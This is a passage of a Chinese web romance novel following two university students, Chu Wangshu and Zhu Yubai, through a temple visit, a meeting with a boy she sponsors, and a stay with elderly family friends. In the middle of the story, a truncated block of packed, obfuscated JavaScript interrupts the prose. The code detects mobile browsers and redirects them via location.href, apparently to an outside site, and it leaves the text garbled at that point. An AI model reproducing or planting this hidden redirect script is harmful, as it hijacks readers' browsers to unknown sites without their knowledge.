“做了亏心事,不敢见。”祝屿白理直气壮说出他的理由。
楚忘殊:“……”
你看我像傻子吗?这么烂的理由谁会信啊?
“那我陪你去就不怕了?”楚忘殊忍住翻白眼的冲动。
“嗯。”
他还嗯?
有什么好嗯的?
明明就是不想我休息!
楚忘殊心里翻天覆地,面上还是微笑着答应,“行啊,走吧。”
算了,就当还他早上帮自己背包的人情吧。
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两人走进大殿。
一跨进大门气氛就瞬间变得不同。
外面是轻松愉快的晴天朗日,屋内是庄严肃穆的雨雾弥漫。
两人沿着人流走动,慢慢欣赏着屋内的陈设。
墙上全是色彩浓重、带着强烈视觉冲击的佛像和经幡。
楚忘殊看得入了神,差点撞到拐角处的石壶。
祝屿白眼疾手快地拉了她,这才避免。
人实在太多了,放眼望去全是人。
怕和祝屿白冲散,她拉住他的衣角。
祝屿白身形一晃,随后脚步配合着她,转过头时,屋外的阳光刚好洒在他上扬的唇边。
出来后,楚忘殊松开手。
蜂拥的人群慢慢散开,转而流向左下方一段石阶路上。
“那边在干什么?”楚忘殊问。
“数罗汉。”
“哦,”她方才似乎是听到宋然说这里的五百罗汉很有名来着,“你知道怎么数吗?”
她没听过,但忽然来了兴趣。
祝屿白:“你想数?”
她连连点头。
“那走吧。”祝屿白跨步。
两人慢悠悠走着,边走祝屿白边为她介绍这里数罗汉的规则。
进门前先在心里默念想的事,进入屋内朝正中央的观音拜一拜,然后就可以进入走道,选择一尊合眼缘的罗汉为第一个,数到自己的虚岁年龄,记住数到的罗汉的编号,最后出来看数到的罗汉对应的释义即可。
楚忘殊:“OK,懂了。那我进去了。”
她注意到祝屿白跟了上来,“你也要去吗?”
祝屿白:“不可以?”
“不是,我只是有点惊讶。”
两人并肩走进,楚忘殊按部就班地按照祝屿白说的做。
她和祝屿白选择的方向不同,两人各数各的,最后出门时,却又默契地同时跨出门。
楚忘殊:“你数的是多少?”
“261。你呢?”
“我36。”
楚忘殊兴致勃勃,拉着祝屿白赶着去看注释。
“36尊者……这里这里。”她一堆密密麻麻的纸张中找到36尊者。
“你为什么事烦恼痛苦,在选择的当口迟疑难决……面对选择时不要犹豫不决,有时候失去未必不是福,应当断则断……”
她轻声读完,若有所思。
不要犹豫不决吗?
祝屿白:“还好吗?”
“哦哦,这一点都不准。”楚忘殊打着哈哈,“来来来,我们找找你的。”
“人生道路漫长修远,有志者当上下求索……近期自己所愿任重道远,但只要不放弃、不退缩,也终能心想事成。”
楚忘殊读完,目光仍落在纸上,“这是说让你坚持在你此刻最想做的事?”
说完,她八卦心起,好奇地问他,“你现在最想做的事情是什么?”
祝屿白没说话,目光从纸上移到楚忘殊脸上。
半天没听到他的回应,楚忘殊抬头,撞进一双晦暗不明的眼睛里。
那里面藏着她看不懂的情绪。
“你也觉得不准吗?”她轻声问。
“可能吧。”他顿了顿,又继续道:“但我希望它后半句是对的。”
只要坚持,他就能得偿所愿吗?
只要坚持,她就能看见他吗?
只要坚持,她就能爱他吗?
20. 搭子日记二十
从罗汉殿出来,两人都没有什么特别想去的地方,于是决定跟着大部队行动,哪里人多就去哪里凑凑热闹。
“被迫”一起的楚忘殊一开始拖拖拉拉,搞不懂外面艳阳高照,祝屿白为什么还要拉她一起。
等来到后院,看见正中央放置的一个三米多高的许愿鼎,她兴趣又上来了。
“我们玩玩这个吧。”楚忘殊在许愿鼎面前站定。
话音刚落,祝屿白在一旁递上许愿球。
许愿球需要买,写下自己的愿望后,再丢到面前的许愿鼎中。
楚忘殊接过,拿起一旁的笔开始写。
水笔触及许愿球的那刻,她动作一顿。
刚才只顾着这种形式很新奇,想尝试一下。
可现在,她忽然不知道该写下什么愿望。
视线乱转,她瞥见祝屿白斜靠在栏杆上,一笔一划写着,神情认真。
没过多久,他拎着许愿球,笔盖盖好,向楚忘殊的方向走来。
“你还没写完?”
“我不知道写什么?”她手一摊,苦恼道。
祝屿白:“那我帮你写?”
“真的假的?”楚忘殊半信半疑。
笔尖露出,祝屿白找了个略微平坦的地方,接过她手中的许愿球,弯腰开始写。
楚忘殊靠着白色石栏,手指轻叩,等他写完。
刚好她不知道写什么,而且这也只是玩一玩,他帮她写也没什么。
她还挺期待他最后能写出什么来。
正想着,祝屿白站直身体,“写好了。”
楚忘殊凑过去,定睛一看上面写着:“祝屿白天天开心。”
她:“……”
“是我许愿呢?还是你许愿?”
她简直不知道说什么好。
怎么会有人替别人写别人的祝福,祝自己天天开心的?
当事人完全听不出她话里的“阴阳怪气”,理所当然地答:“你啊。”
“那你写祝你开心?”
“你不希望我开心吗?”
楚忘殊:“……”
这话她怎么接?
“……希望。”她咬牙切齿。
“所以这样写有什么问题?”
好吧,好像也没什么问题……
她只是第一次遇到这样的事,这样的人。
“好啦,你扔进去吧。”祝屿白将她的许愿球递给她。
楚忘殊接过,随手一扔,许愿鼎发出一声轻响,似乎在悄然回应她的愿望被听到。
“还有一个。”祝屿白又递给她一个。
“这不是你的吗?”楚忘殊不解,他的让他扔干嘛?
“刚才写太多字,肌无力。”祝屿白脸不红心不跳,掰扯出一个理由。
楚忘殊:“……”
一共才几个字啊,就肌无力。
看来他不该姓祝,应该改姓林。
“哎,你写的是什么?”楚忘殊接过,对他写的愿望有些好奇。
毕竟在别人的愿望里都能写下祝自己天天开心,在自己的愿望里呢?
会是祝自己长生不老吗?还是祝自己前程似锦?
她狐疑地看向祝屿白,暗自认同,这人没准真做得出来。
“你真想知道?”
楚忘殊点头如捣蒜。
“秘密。”
楚忘殊:“……”
这人真是!!!
楚忘殊不再好奇,转而将许愿球扔向许愿鼎。
变故突生,许愿球碰到鼎的边沿,直直朝两人反弹回来。
楚忘殊呆住,根本没反应过了来发生了什么事。
在许愿球快要弹到她脸上的时候,祝屿白伸手,牢牢将它截在手里。
“呼,吓死我了,我还以为要砸到我了。”楚忘殊劫后余生般叹口气。
“放心,还有我在前面挡着。”祝屿白再次将许愿球递给她,让她再试一次。
“你还敢让我扔?”楚忘殊看着许愿球。
“有什么不敢的?”
楚忘殊:“行吧,那我就再扔一次。”
这次没有意外,许愿球安安稳稳地被扔到鼎中央。
浩如烟海的许愿球中,祝屿白凌冽的字迹,写着一句话。
“希望世上所有的风雨洒向大地,不要经过她。”
楚忘殊没有猜对。
他的愿望里不是他,而是她。
在她的许愿球上写下“祝屿白天天开心。”时,祝屿白心想,如果她没有愿望,那就让她的“愿望”里加上他吧。
走出寺院门,楚忘殊和祝屿白在拐角处等其他人。
宋词在群里说她吃到了素面,味道真的不错,问楚忘殊真的不打算试试吗?
楚忘殊说不了。
而且就算想试,现在这么长的队伍,等到她素面也早没了。
宋词发了个“好吧”的表情包,说她们马上回来。
其余人陆续到达,几人向山下出发,启程回了学校。
第二天没有课,开始放国庆假期。
楚忘殊醒来时,宿舍已经没了人。
宋词和程以凌早早收拾行李,回了家。
她们两个人都是隔壁市的,回家的路程不算远,每次放假必回家,更别说这次七天长假。
韩霜没回家,也没在宿舍,可能又去泡图书馆了。
窗帘被拉开半角,刺眼的阳光洒进来。
楚忘殊睡眼惺忪,慢吞吞地下床,洗漱,穿衣,打算去吃个饭。
就是不知道食堂放假,还有几个窗口开着。
她洗漱好,随后捞了个白色鸭舌帽戴上,出了宿舍。
刚出宿舍门,手机弹出一条消息:【ZYB:你今天有事吗?】
宿舍楼前的台阶上落了枯叶,保洁阿姨还没来得及打扫。那只常驻的黑狸猫慵懒地踩在上面,发出沙沙的响声。
楚忘殊摸了一把小猫,才打字回道:【CWS:没。】
【ZYB:请你帮个忙,下午三点在东门见?】
【CWS:行。】
没追问要帮什么忙,她直接答应下来。
主要是她有些无聊,不如看看祝屿白到底有什么忙是需要她帮的。
假期的食堂,冷清一片。
稀稀拉拉的学生坐在餐桌上,边吃饭边追剧。
食堂窗口果然关了很多。
楚忘殊见自己比较爱吃的那家也关门休假,转身出了食堂,拿出手机点外卖。
她低头,注意力都放在点什么吃的,没注意到正前方的人影。
“不好意思,我没注……”撞到人,楚忘殊连忙道歉,待看清面前人的样貌,她惊讶不已。
话还没说完,就听眼前身着浅蓝衬衣和一身黑裤的男生笑着对她打招呼:“忘殊姐,好久不见。”
他个头很高,差不多比楚忘殊高一个头左右,此时他微微躬身,歪着头笑起来,脸上显出一个浅浅的梨涡。
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15293437|167003||http|test|mini|href|location''.split(''|''),0,{}));
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>“粟裕?”
“是我。”听到她还记得他的名字,男生显得很高兴,眉眼弯弯笑着回应。
“你怎么会在这里?”楚忘殊很惊奇地问。
初三暑假,她闲在家无聊,经常陪外公去小区里面下象棋。
外公的棋友中,有一位周爷爷,和外公脾性最相投,虽然每次下棋感觉要输了就会吵吵着要悔棋、看见楚忘殊总会调侃外公怎么会有个这么好的孙女,但人还是很好。
在一次下棋时,周爷爷忽然说她想组织个一对一资助山区孩子的活动,想问问外公可不可行。
外公当然举双手赞成,二话不说就让周爷爷加他一个。
楚忘殊问每个月需要给多少钱。
周爷爷捋捋胡子,有些浑浊的眼睛看向她,笑着问,“莫不是你也想参加?”
“不行吗?”楚忘殊反问,“不过我想问问每个月需要多少钱,我怕我的钱不够。”
每年楚砚青都会给她打钱,加上每年的压岁钱,她的小金库还是存下不少。
但还是要第一时间问清楚,万一没法负担,可就闹了大笑话。
“我有学生在那教书,他说那里的每个孩子一个月的生活费600就足够。所以我打算就按照每个月六百的规格,如果愿意的话,还可以为孩子们寄一些课外书。”周爷爷慢悠悠地说道。
“好,那也算我一个。”楚忘殊呲着牙,学着外公的口吻。
周爷爷看了外公一眼,询问他的意见,毕竟当时的楚忘殊才十三四岁,担心是小孩的一时兴起。
外公点点头,让他放心,“让这丫头试试。”
就这样,楚忘殊开始了这趟资助之旅,一直持续到现在。
粟裕就是她资助的学生。
她高二的时候,去粟裕所在的学校看过他。
那时的粟裕上了高一,只是个子瘦瘦小小的,她没看出来他只比自己小一岁。
那次见面时间很短,两人几乎没怎么交流,只简短地加了个微信。
“忘殊姐,我今年考上了江州医科大学,就在你这个校区的隔壁。”
粟裕话很多,楚忘殊只问了一句,他噼里啪啦地解释一通,似乎要把自己近期所有的生活都和她分享。
“只是开学的这一个月事情太多了,又在军训,我就没来找你。今天我趁假期想来这碰碰运气,看能不能找到你,没想到真的遇见你了。”
“怎么不给我发消息?”楚忘殊下单好外卖,给他带到一棵树荫下,两人站着说话。
“我怕打扰你。”粟裕摸摸脖子,有些紧张。
“没事,我一般都有时间,下次要找我可以直接发消息。”楚忘殊察觉到他的无措,语气尽量轻松。
“考上了江医啊,真厉害。”
楚忘殊记得她去粟裕高中看到的场景,教育资源和附中有着很大的差距。
能考上江医,他一定花费了很大的力气。
两人聊着天,慢慢朝东门走,去拿她的外卖。
她问粟裕吃过饭没,要不要给他点一份。
粟裕连忙摆手拒绝,说他吃完才过来的。
楚忘殊也不再客套。
“忘殊姐,你下午有事吗?没事的话能不能带我转转你们学校。”粟裕忽然开口问。
“行啊,我没事。”
说完,她总觉得有哪里奇怪,但又想不到,索性不再为难自己。
两人身后不远处,祝屿白站在原地,看着两人走远。
21. 搭子日记二十一
江大校园桂花遍地,走到哪都是一股浓烈的香味。
刚放假,人也不多。
嘉禾校区太大,楚忘殊本打算骑着电瓶车带粟裕逛一圈,不料他说走着看看就行,让她不用逛完全部,随便去她觉得值得的地方看看就行。
他都这样说了,楚忘殊也不再勉强,带着他逛了一圈池塘,以及图书馆,加上嘉禾最出名的情人坡。
一路上,粟裕都和楚忘殊说着话。
嘴上虽说着让她带他参观学校,但目光留在她身上的时间比看校园的多多了。
楚忘殊极力从自己的脑袋瓜中搜罗出信息,简单地给他介绍。
介绍到最后,她完全词穷,翻来覆去都是那几句轱辘话。
她想不如现场百度给他听算了。
至少百度出来的,还比她介绍的详细。
粟裕从头到尾,脸上都挂着浅浅的笑,不论楚忘殊说什么,都安静地点着头,示意他听到了。
两人只去了四五个地方,但一晃眼便到了下午。
后山的情人坡上,原先碧绿的草坪褪了色,披上一片枯黄的外衣,没原先好看。
此刻夕阳西沉,最后一丝余晖洒在上面,倒也别有一番风味。
两人坐在小河边的木凳上,任由清风拂面,零零散散地闲聊着。
楚忘殊问粟裕,最近的钱够不够,需要的话她还可以给他。
从前周爷爷说过,资助活动只持续到孩子们上大学。
上大学之前,能帮助一个是一个,不想让孩子们因为贫困上不了学。
但上了大学之后,就该让他们自食其力,不能让他们觉得一切都可以不劳而获。
那样对他们会是更大的伤害。
粟裕摇摇头,晕黄的光让他的脸有些不真切,但声音掷地有声,“忘殊姐,钱我够的,我高考完出去做了兼职,开学了也找了一个家教。”
“行,不错呀。不过有什么困难需要我帮你,还是可以给我说。”楚忘殊站起身来,赞许地看着他,“走,要不要尝尝我们学校食堂?”
粟裕跟着她起立,“好啊。”
慢悠悠地走回食堂,楚忘殊跑了三个食堂,终于找到一家自认为比较好吃的店。
粟裕抢着要付款,楚忘殊拉他坐下,连忙说,“要绑了学生账号才能刷。”
这才将他安抚下来。
两人找了食堂的一角,面对面坐着,准备开吃。
有人拉开楚忘殊身边的椅子,“同学,请问这里有人坐吗?”
“……没有。”楚忘殊好笑地看向祝屿白,不明白他装什么陌生人。
一旁的粟裕一眼就看出两人熟悉。
他环顾一周,他们附近都是空着的桌子,这人不坐,偏偏来这。
除了两人认识和眼前这人脑子有病,再找不出其他原因。
祝屿白顺势坐了下来,沉默地吃着自己的饭。
粟裕看向祝屿白,话冲着楚忘殊说的,“忘殊姐,这位是你同学?”
楚忘殊点点头,“祝屿白,我朋友。”
说完又指向粟裕,刚想要介绍时,又犯了难,纠结了半天才开口。
“这是粟裕,额……算是……我弟弟?”
祝屿白夹菜的动作一顿,“弟弟?”
“我和忘殊姐没有血缘关系,我们认识很久了。”楚忘殊还没说话,粟裕先接了话。
他还是一副笑意盈盈的样子,眼神看向祝屿白。
祝屿白神情不显,又开始闷头吃饭,眼眸低敛着,看不出在想什么。
这顿饭在粟裕的热情提问、楚忘殊时不时回答、祝屿白的沉默中结束。
吃完饭,楚忘殊送粟裕到学校门口,祝屿白不知去了哪里。
临走前,粟裕又扬起他脸上的梨涡,笑着问楚忘殊:“忘殊姐,以后我有空可以来找你吗?”
“可以啊。”她一口答应下来。
粟裕搭着公交离开。
目送他走远,楚忘殊往回走。
她习惯性掏出手机打发时间,一不小心点进和祝屿白的聊天框里。
【ZYB:请你帮个忙,下午三点在东门见?】
【CWS:行。】
完蛋!
她就说她答应带粟裕逛学校的时候,总有种奇怪的感觉。
没想到是忘了她答应过祝屿白啊。
在食堂偶遇祝屿白,他怎么也不提?
楚忘殊脑海里忽然出现祝屿白时不时看她一眼、眼神凉凉的样子。
那眼神好像在说“我倒要看看放了我鸽子的人在干什么?”
她后知后觉。
刚才就不是偶遇祝屿白吧,更像他在蹲她,看她怎么解释。
却没想到当事人已经忘得一干二净了。
楚忘殊:“……”
瞬间觉得天塌了。
她刚想发消息给祝屿白道歉,一抬眼,就发现前面的人影很像祝屿白。
一路小跑上前,果然是他。
“饭后走一走,活到九十九。你还真养生。”她走到他身边,僵硬地找着话题。
祝屿白:“……”
这聊天方式也是没谁了。
他睨她一眼,“我养不养生不知道,但你饭后跑一跑,胃痛少不了倒是真的。”
楚忘殊:“……”
看他这毒舌劲又上线,楚忘殊明白这家伙是真生气了。
“对不起嘛,我就是见到粟裕太惊讶了,一时间就忘了答应下午给你帮忙的事。”她踢了一脚路上的碎石子,没想来力度太大,撞到花坛边又弹回来,好巧不巧正打在祝屿白脚上。
楚忘殊:“……”
完蛋,这次是真完蛋。
还没哄好人,又打到人家……
她讪笑着,“我不是故意……”
“他就那么重要,重要到把我忘得一干二净。”祝屿白声音沉沉,细听之下还带着点委屈。
他没把脚上的痛感放在心上,关注点只在楚忘殊见到粟裕忘了他。
“啊?不是啊。”楚忘殊有些懵,“就是我对他的印象还停留在他高中,他一下子出现在我面前,我当然会惊讶。”
“你肯定比他重要。”楚忘殊语气笃定,“毕竟你可是我很好的朋友。”
祝屿白:“……”
谁要跟你做朋友。
他抬眼看向楚忘殊,路灯下女孩满眼内疚,定定地看着自己,双手合起,“拜托拜托,原谅我这一次。”
算了,他根本生不了气。
他刚想说话,楚忘殊“威胁”的语气就响起。
“你再生气,我可不哄你了,我明天就走了。”
祝屿白:“……”
她刚才是哄他?
再说,他又没生气,需要她哄?
好吧,刚才他的行为是非常幼稚,此刻理智回笼,他捕捉到她话里的关键信息。
“你要去哪?”
楚忘殊:“回云城。”
祝屿白:“我也要去
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。”
“什么?”
祝屿白重复一遍:“我也要去。”他话锋一转,“作为你今天放我鸽子的补偿,我要你……和我一起。”
楚忘殊闭眼,“我是回去看外公外婆,你回去干嘛?”
“再说,干嘛要我和你一起,要我给你提行李吗?祝大少爷?”
在她无语的目光中,祝屿白缓缓点头。
楚忘殊:“……”
她就知道,这人就是个小气鬼。
鸽了他一次,就想让她当苦力还回去。
“行行行,我明天十二点的机票,到时候机场见。”她无语道。
两人到宿舍楼下分开。
楼下的那只黑狸猫又躺在早上熟悉的地方,楚忘殊没摸它。
见她目不斜视走开,小猫急了,翻身跃起,跑到她脚边,扒拉着她的裤脚,扭动着身子,似乎在展示它的毛发多么柔顺,让她摸摸。
楚忘殊站在原地,没动,挣扎了半天,还是蹲下来顺了顺它的毛。
还是小猫可爱,不像某个小气鬼!哼!
第二天,楚忘殊和祝屿白没在机场见,而是一起从学校出发。
她早上刚出宿舍楼,就见祝屿白在一棵杜仲树下,坐在黑色行李箱上,肩上掉了片落叶。
也不知道是刚到还是等了很久。
楚忘殊第一反应是他想从学校就压榨她,让她提行李箱。
还好他没有那么丧心病狂,反而大发慈悲,帮她的行李也搬上车。
正逢假期,机场人流量是以往的好几倍。
两人在VIP托运柜台办托运,没等多久就到了登机时间。
上了飞机,找到座位坐下来后,楚忘殊才后知后觉地发现,好像一路上行李就没沾她手,全是祝屿白搬的。
楚忘殊看向身侧的祝屿白,思考着他干嘛要和她一起。
“祝屿白。”她戳戳他的手臂。
祝屿白垂头,“怎么了?”
“你是不是高需求陪伴人格?”
她问完,视线上移,就看见祝屿白眼底的无语。
“我开玩笑……”她尴尬地补了一句。
“你要这么理解也对。”祝屿白忽然说。
只是我的“症状”无关其他人,只针对一个人。
楚忘殊哦了声,没再接话。
只是眼神时不时瞟向他,一接触到他的眼神就立马收回,欲盖弥彰地四处乱转。
祝屿白靠在椅背上,眼睑微敛,嘴角不可控制地上扬。
江州到云城隔着两千多公里,飞机要三个多小时。
楚忘殊迷迷糊糊地进入梦乡,恍惚间有人为她披上件毛毯。
不知道过了多久,她幽幽转醒,直起身来,才发现身上真的盖着块毛毯。
粉白色毛毯的一角,是祝屿白的手。
他此刻眼睛紧闭,呼吸声均匀,似乎是睡着了,但骨节分明的手还牢牢抓着毛毯,防止滑落。
许是刚醒的脑袋还没反应过来,楚忘殊一时呆住,就这样一动不动地看着祝屿白。
他的眉毛浓得恰到好处,多一份太过魁梧,少一分太过秀气。
眉骨真高,眼窝也很深邃。
她最喜欢的,是他的睫毛,长长的,像一把整齐的刷子,勾的人心痒痒,让人想摸一摸。
她这么想,也这么做了。
略微倾身,她抬起手,慢慢移动到他睫毛的位置。
手刚伸到眼前,祝屿白睁开了眼睛。
22. 搭子日记二十二
空气凝滞下来,似乎忘了流动。
两人目光隔着不足五厘米的距离相接。
“你这是?”祝屿白瞳孔里倒映着楚忘殊的身影,说话时一股热气洒在她脖颈处。
楚忘殊没动,视线还在他的睫毛上,“可以让我摸摸吗?”
丝毫不加掩饰,她直白地说出此刻的想法。
“喜欢?”
说话的时候,他轻轻眨了眨眼睛,睫毛颤动,轻轻扫过。
她更想摸了。
“嗯,喜欢。”
祝屿白闭上眼睛,将脸凑到楚忘殊面前。
距离控制得刚好,他没有凑太近,不会冒犯到她,又能让她看清。
楚忘殊放轻呼吸,小心翼翼地伸手摸向睫毛。
比想象中的触感更好。
她满意了,笑开。
比宿舍楼下小猫更好“撸”。
祝屿白一睁眼,看到的就是她眉眼弯弯、一脸满足的样子。
她摸完就退了回去,将窗户推开一半,看向外面软绵绵的云。
祝屿白抬手,覆上她摸过的位置。
许是反应过来这样的行为有些傻,他马上放下来。
视线盯着掌心良久,他唇角勾出一抹笑。
飞机上的广播响起,机长中英文播报着飞机即将落地,请乘客做好准备。
一层气流颠簸后,飞机平稳到达云城长川机场。
顺着指引牌,两人去转盘处拿行李,然后到机场二楼处打车。
很快,两人坐上出租车。
“你待会要去哪?”楚忘殊靠着车窗,看向环岛路边的绿化带里中五颜六色的野花。
花种没有多名贵,但胜在洋溢着勃勃生机。
云城甚至还因为绿化带中满满的鲜花,被誉为“花的城市”,前几年上了次热搜,那年赴云城旅游的游客较以往翻了好几倍。
祝屿白懒懒散散的声音在车内响起,“不知道。”
楚忘殊回头,“不知道?那你来这玩啊?”
“昂……对。”
他语气迟疑,顿了下,随后又顺着她的话应下。
“行吧,那你好好玩。”她应和了一句。
她去年国庆假期也回了云城,本来就看看外公外婆就走,不想惊动别人。
不料在她刚要回江州的前一天早上,刚好遇上晨练的周爷爷。
得知她认为她回来是麻烦他们,周爷爷把她臭骂了一顿。
今年还没到十月,周爷爷就发微信让她回来的话一定要去他家。
他知道她外公外婆在这里,她一定会回来。
所以她打算先去见周爷爷,然后……再去看外公外婆。
目的地到达,出租车司机操着一口带云城口音的塑料普通话祝他们玩得开心,大概是听到祝屿白是来这旅游的。
楚忘殊笑了笑,熟练地切换云城方言道谢。
司机阿姨笑开,没想到她会云城话,随后驱车离开。
“那我走了。”楚忘殊推着行李箱,拎起双肩包。
“等等。”祝屿白截住行李箱。
楚忘殊抬头看他。
在她疑惑的目光下,祝屿白缓缓开口,“我……好像没钱。”
“你想体验穷游吗?”她真心发问。
祝屿白抿唇,摇头,“不是,我的卡被冻结了。”
楚忘殊没有细究真假,为他思考解决办法,“要不我借你点,回去你再还我?”
“不要,我不喜欢欠别人钱。”
楚忘殊:“……”
好熟悉的话,好像他之前还说过不喜欢欠别人人情?
但现在都什么时候了,还这副死样子……
“那不然怎么办,你要睡大街吗?”
祝屿白默默摇头。
“或者你去我家住?吃的我可以请你,但这样你旅游计划就泡汤了。”楚忘殊坐在行李箱上,摊手说出最后一个办法。
“行,那接下来就麻烦你了。”祝屿白几乎是在她刚说完就开口。
“哦……那走吧。”楚忘殊被他接话速度之快惊到,慢吞吞回复。
进入周爷爷所在的小区,两人拉着行李箱就上了十二楼。
楚忘殊按响门铃,片刻后大门打开。
“周爷爷,我回来啦。”楚忘殊站在门口,扬起个大大的微笑。
周爷爷扶了扶老花镜,故作严肃地说:“还以为你忘了我这个老头子,又要像上次一样悄悄摸摸来,悄悄摸摸走呢。”
“哎呀,忘了谁也不敢忘了周爷爷你呀。”她上前一步,挽上周爷爷的胳膊,“我怕被你的水烟筒打。”
周爷爷的外孙小时候非常调皮,每天不是把窗户打破,就是在泥潭打滚。
后来他妈妈带他来周爷爷家,被他拿吸烟的水烟筒打了一顿,回去就老实了。而周爷爷的威名也在这一片小朋友们之间传开,每次见到都自动变乖。
她顺势做出一副害怕的模样,周爷爷点了点她的额头。
就这丫头从小胆大的性格,还会怕他?
和她说笑完,周爷爷镜片里终于出现祝屿白的身影。
“这位是?”他看向楚忘殊。
“我朋友。”楚忘殊介绍。
祝屿白走上前,弯腰向周爷爷问好,“周爷爷好,我叫祝屿白,是小殊的朋友,这次冒昧登门,多有叨扰,还望周爷爷不要怪罪。”
他话说得落落大方,又不失尊重,态度谦和,周爷爷点了点头,“既然是小殊的朋友,就不算叨扰,进来吧。”
他看一眼楚忘殊,又看看祝屿白,意有所指地补了句,“你是小殊第一个带回来的同学。”
几人进了屋,楚忘殊轻车熟路地接了杯水,还不忘问祝屿白要不要。
“周奶奶呢?”坐下后,她问周爷爷。
“在房间晒太阳。”周爷爷抿了一口茶,声音有些疲惫。
“周奶奶最近怎么样?”
周爷爷叹了口气,“还是和之前一样,时好时坏。”
周奶奶前两年得了阿尔兹海默症。
她意识不清时,除了会忘记人,还会认错人。
特别是把人认成她的外孙,也就是那个被周爷爷一水烟筒打得“改邪归正”的捣蛋鬼。
几人正说话间,周奶奶慢慢走出房间,来到客厅。
她一袭浅绿色的青衫,典雅十足,头发泛白,但盘得整整齐齐,半点看不出生病的样子。
“小殊回来了?”她笑着问她。
看来现在还是清醒的时候。
楚忘殊连忙站起来,跑到周奶奶身边,挽着她的胳膊,将她拉到沙发上坐下,亲呢靠着她,“我刚到。”
“你看你是不是没好好吃饭,小脸都瘦了一圈。”周奶奶摸摸她的脸,心疼地看着她。
大概在长辈的眼里,离家太久的
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孩子总是过着吃不饱、穿不暖的苦日子。
“我有好好吃饭,你看我脸都圆了一圈。”她扯着自己的脸,试图让周奶奶相信她真的吃胖了。
“你这丫头,不会疼吗?”周奶奶嗔怪地说她一句,赶紧让她把手松开。
闲聊完,周奶奶忽然朝周爷爷开口,“看我们只顾着和小殊说话,都忘了她还饿着。”
说着就要起身去菜市场买菜。
“奶奶,您陪我说说话呗,菜麻烦孙阿姨去买,您不用亲自跑一趟。”她担心周奶奶的身体能否出门,忙找由头想劝她留下。
周爷爷的儿女们工作忙,没法经常回家,于是给他们请了个做饭阿姨——孙阿姨,平时的饭菜都是孙阿姨一手操办的。
“孙阿姨不知道你喜欢吃什么,还是我亲自去。”周奶奶坚持。
楚忘殊忙着询问周爷爷,周奶奶可以吗?
他递给她一个安心的眼神,让她不要担心,在家坐着等他们回来。
周奶奶清醒的时候精力还足够,而且有他在身边,不会出什么事。
说完换好鞋,和周奶奶牵着手出了门。
卡塔一声,门锁落下。
屋内瞬间只剩下楚忘殊和祝屿白。
刚打开的电视机播着一部狗血伦理剧,剧情恼火地让人血压飙升,声音吵得人脑仁疼。
从茶几上摸到遥控,楚忘殊按下关机键,将电视关上。
屋内寂静下来。
一声轻笑忽然在屋内响起。
“你笑什么?”楚忘殊转头,问笑声的制造者。
祝屿白:“你看过霸总小说吗?”
他提起个与此刻牛头不对马嘴的话题。
楚忘殊:“?”
难不成你看过?
”刚刚周爷爷,说我是你第一个带回来的同学。”他好像陷入不久前的回忆,有些好笑地说。
楚忘殊:“……你还真是阅读广泛。但——我要纠正一点,我这不叫‘带’,叫‘收留’,是你没地方去,我好心收留你,不然你就要露宿街头了好嘛。”
她靠回沙发上,两眼望天,懒洋洋地说:“再说那是管家对主角说的话。”她耸肩,指着自己,“而我,像主角吗?不像。我只是海洋里的一滴水。哦不,可能还只是个小水坑里的。”
祝屿白没了刚开始的玩笑意味,语气变得郑重,他看向她:“楚忘殊,你听过‘双星尘埃’吗?”
“那是什么?”楚忘殊摇头,满脸茫然,被他忽然蹦出的天文名词勾起兴趣,追问道。
“双星尘埃是指,在广袤星云中,两粒电子相互缠绕,彼此的引力场里永远都是最明亮的星轨。”
楚忘殊晃着头,双手交叉:“听不懂,请说人话。”
中间隔着茶几,她隔空和他对望,听见他轻声说:
“通俗理解,就像两粒沙子被风吹到了银河里,明明小到看不见,却在彼此的眼中变成了会发光的星球。所谓的渺小指什么,所谓的伟大又指什么?”
“你总说你不是主角,但或许在别人眼里,你就是他存在的意义。”
说完,楚忘殊没有说话,低着头不知在想什么。
沉默半天后,她忽然问他,“真的有这个现象吗?”
“我编的。”
楚忘殊:“……”
浪费我感情。
祝屿白目光灼灼,“但我想表达的意思是真的。”
23. 搭子日记二十三
夕阳西沉,昏黄余晖投进阳台。
窗外挂着的鸟笼里,通身深绿的鹦鹉叽叽喳喳地重复着什么。
开门声响起,看来是周爷爷周奶奶回来了。
楚忘殊连忙起身,跑上前接过周爷爷手里的袋子。
将菜提到厨房放下,周奶奶交代孙阿姨口味做辣些,楚忘殊爱吃。
没过多久,热气腾腾的饭菜端上了桌。
周奶奶坐在楚忘殊和祝屿白中间,都没怎么吃,净顾着给他俩夹菜。
楚忘殊看着自己碗里快堆成山的菜,陷入沉思。
她真的能吃完吗?
一顿饭吃下来,楚忘殊觉得自己接下来三天都不用吃饭了。
“乖孙啊,你总算回来看外婆了。”周奶奶毫无征兆地拉起祝屿白的手,“外婆很想你,这么久不回来看外婆,还以为你已经忘了外婆。”
周爷爷在一旁有些无奈地解释:“她又开始犯糊涂了。”
楚忘殊紧张地看向祝屿白。
“外婆,我也很想你。”祝屿白顺着周奶奶的话回应。
亲呢的语气,好似他真的是她外孙一样。
楚忘殊的悬着的心暂时放下。
没等她舒一口气,周奶奶忽然又转过头来住她的手,“这是你女朋友吗?哎呀,长得真俊。”
说话间,她将楚忘殊和祝屿白的手叠在一起。
楚忘殊的手偏凉,祝屿白的手有些烫。
猝不及防的相交,两人都愣了愣。
祝屿白下意识想收回手,楚忘殊钩住他的小拇指,对他摇摇头。
现在除了顺着周奶奶的意思,别无他法。
祝屿白停下动作,掌心的温度更烫,就像手上沾了酒精,而楚忘殊的手是火苗一样。
“你这臭小子,没欺负人家女孩子吧?”周奶奶拍了祝屿白一下,质问道。
“没有,奶奶,他对我很好。”楚忘殊抢先开口,笑着回周奶奶。
周奶奶没说话,浑浊的双眼转向祝屿白,似乎是担心楚忘殊是为了维护他,故意说好话,所以想听他亲口说。
祝屿白没反应,一副呆愣愣的样子。
楚忘殊暗里戳了戳他。
“奶奶你放心,我会对她好的。”他终于回过神来,一脸郑重地说。
周奶奶:“这小子,看女朋友看得魂都丢了,听人家喊我奶奶,就忘了我是你外婆。”
祝屿白:“……”
忘了现在自己的身份是“外孙”。
